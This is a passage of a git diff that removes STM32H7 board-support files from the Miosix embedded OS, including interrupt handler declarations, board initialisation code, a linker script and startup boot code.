TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak FDCAN_CAL_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_PSSI_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak OCTOSPI1_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak I2C4_EV_IRQHandler = Default_Handler -#pragma weak I2C4_ER_IRQHandler = Default_Handler -#pragma weak SPDIF_RX_IRQHandler = Default_Handler -#pragma weak DMAMUX1_OVR_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak SWPMI1_IRQHandler = Default_Handler -#pragma weak TIM15_IRQHandler = Default_Handler -#pragma weak TIM16_IRQHandler = Default_Handler -#pragma weak TIM17_IRQHandler = Default_Handler -#pragma weak MDIOS_WKUP_IRQHandler = Default_Handler -#pragma weak MDIOS_IRQHandler = Default_Handler -#pragma weak MDMA_IRQHandler = Default_Handler -#pragma weak SDMMC2_IRQHandler = Default_Handler -#pragma weak HSEM1_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak DMAMUX2_OVR_IRQHandler = Default_Handler -#pragma weak BDMA_Channel0_IRQHandler = Default_Handler -#pragma weak BDMA_Channel1_IRQHandler = Default_Handler -#pragma weak BDMA_Channel2_IRQHandler = Default_Handler -#pragma weak BDMA_Channel3_IRQHandler = Default_Handler -#pragma weak BDMA_Channel4_IRQHandler = Default_Handler -#pragma weak BDMA_Channel5_IRQHandler = Default_Handler -#pragma weak BDMA_Channel6_IRQHandler = Default_Handler -#pragma weak BDMA_Channel7_IRQHandler = Default_Handler -#pragma weak COMP_IRQHandler = Default_Handler -#pragma weak LPTIM2_IRQHandler = Default_Handler -#pragma weak LPTIM3_IRQHandler = Default_Handler -#pragma weak LPTIM4_IRQHandler = Default_Handler -#pragma weak LPTIM5_IRQHandler = Default_Handler -#pragma weak LPUART1_IRQHandler = Default_Handler -#pragma weak CRS_IRQHandler = Default_Handler -#pragma weak ECC_IRQHandler = Default_Handler -#pragma weak SAI4_IRQHandler = Default_Handler -#pragma weak DTS_IRQHandler = Default_Handler -#pragma weak WAKEUP_PIN_IRQHandler = Default_Handler -#pragma weak OCTOSPI2_IRQHandler = Default_Handler -#pragma weak FMAC_IRQHandler = Default_Handler -#pragma weak CORDIC_IRQHandler = Default_Handler -#pragma weak UART9_IRQHandler = Default_Handler -#pragma weak USART10_IRQHandler = Default_Handler -#pragma weak I2C5_EV_IRQHandler = Default_Handler -#pragma weak I2C5_ER_IRQHandler = Default_Handler -#pragma weak FDCAN3_IT0_IRQHandler = Default_Handler -#pragma weak FDCAN3_IT1_IRQHandler = Default_Handler -#pragma weak TIM23_IRQHandler = Default_Handler -#pragma weak TIM24_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 3f2d8728e..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,18 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//stm32h7xx.h defines a few macros like __ICACHE_PRESENT, __DCACHE_PRESENT and -//includes core_cm7.h. Do not include core_cm7.h before. -#define STM32H723xx -#include "CMSIS/Device/ST/STM32H7xx/Include/stm32h7xx.h" - -#if (__ICACHE_PRESENT != 1) || (__DCACHE_PRESENT != 1) -#error "Wrong include order" -#endif - -#include "CMSIS/Device/ST/STM32H7xx/Include/system_stm32h7xx.h" - -#define RCC_SYNC() __DSB() - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index 57eb8325a..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,122 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB4ENR |= RCC_AHB4ENR_GPIOAEN | RCC_AHB4ENR_GPIOBEN | - RCC_AHB4ENR_GPIOCEN | RCC_AHB4ENR_GPIODEN | - RCC_AHB4ENR_GPIOEEN | RCC_AHB4ENR_GPIOFEN | - RCC_AHB4ENR_GPIOGEN | RCC_AHB4ENR_GPIOHEN | - RCC_AHB4ENR_GPIOJEN | RCC_AHB4ENR_GPIOKEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - GPIOJ->OSPEEDR=0xaaaaaaaa; - GPIOK->OSPEEDR=0xaaaaaaaa; - - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerialPort,defaultSerialSpeed,tx,rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - //FIXME - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 8823cf588..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - //Led is connected to VCC, so to turn it on the GPIO has to be low - _led::low(); -} - -inline void ledOff() -{ - _led::high(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/stm32_1m+128k_rom.ld b/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/stm32_1m+128k_rom.ld deleted file mode 100644 index e938c9c2e..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h723zg_nucleo/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,167 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x24000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap */ -_heap_end = 0x24020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* NOTE: for now we support only the AXI SRAM */ - ram(wrx) : ORIGIN = _main_stack_top, LENGTH = 128K-_main_stack_size -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/core/stage_1_boot.cpp b/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/core/stage_1_boot.cpp deleted file mode 100644 index 0f1c89a9f..000000000 --- a/miosix/arch/cortexM7_stm32h7/stm32h753xi_eval/core/stage_1_boot.cpp +++ /dev/null @@ -1,567 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "core/cache_cortexMx.h" -#include "drivers/pll.h" -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32h753 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - startPll(); - - miosix::IRQconfigureCache(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_AVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT0_IRQHandler(); -void __attribute__((weak)) FDCAN1_IT1_IRQHandler(); -void __attribute__((weak)) FDCAN2_IT1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) FDCAN_CAL_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) I2C4_EV_IRQHandler(); -void __attribute__((weak)) I2C4_ER_IRQHandler(); -void __attribute__((weak)) SPDIF_RX_IRQHandler(); -void __attribute__((weak)) OTG_FS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_FS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMAMUX1_OVR_IRQHandler(); -void __attribute__((weak)) HRTIM1_Master_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMA_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMB_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMC_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIMD_IRQHandler(); -void __attribute__((weak)) HRTIM1_TIME_IRQHandler(); -void __attribute__((weak)) HRTIM1_FLT_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) SAI3_IRQHandler(); -void __attribute__((weak)) SWPMI1_IRQHandler(); -void __attribute__((weak)) TIM15_IRQHandler(); -void __attribute__((weak)) TIM16_IRQHandler(); -void __attribute__((weak)) TIM17_IRQHandler(); -void __attribute__((weak)) MDIOS_WKUP_IRQHandler(); -void __attribute__((weak)) MDIOS_IRQHandler(); -void __attribute__((weak)) JPEG_IRQHandler(); -void __attribute__((weak)) MDMA_IRQHandler(); -void __attribute__((weak)) SDMMC2_IRQHandler(); -void __attribute__((weak)) HSEM1_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) DMAMUX2_OVR_IRQHandler(); -void __attribute__((weak)) BDMA_Channel0_IRQHandler(); -void __attribute__((weak)) BDMA_Channel1_IRQHandler(); -void __attribute__((weak)) BDMA_Channel2_IRQHandler(); -void __attribute__((weak)) BDMA_Channel3_IRQHandler(); -void __attribute__((weak)) BDMA_Channel4_IRQHandler(); -void __attribute__((weak)) BDMA_Channel5_IRQHandler(); -void __attribute__((weak)) BDMA_Channel6_IRQHandler(); -void __attribute__((weak)) BDMA_Channel7_IRQHandler(); -void __attribute__((weak)) COMP1_IRQHandler(); -void __attribute__((weak)) LPTIM2_IRQHandler(); -void __attribute__((weak)) LPTIM3_IRQHandler(); -void __attribute__((weak)) LPTIM4_IRQHandler(); -void __attribute__((weak)) LPTIM5_IRQHandler(); -void __attribute__((weak)) LPUART1_IRQHandler(); -void __attribute__((weak)) CRS_IRQHandler(); -void __attribute__((weak)) SAI4_IRQHandler(); -void __attribute__((weak)) WAKEUP_PIN_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - 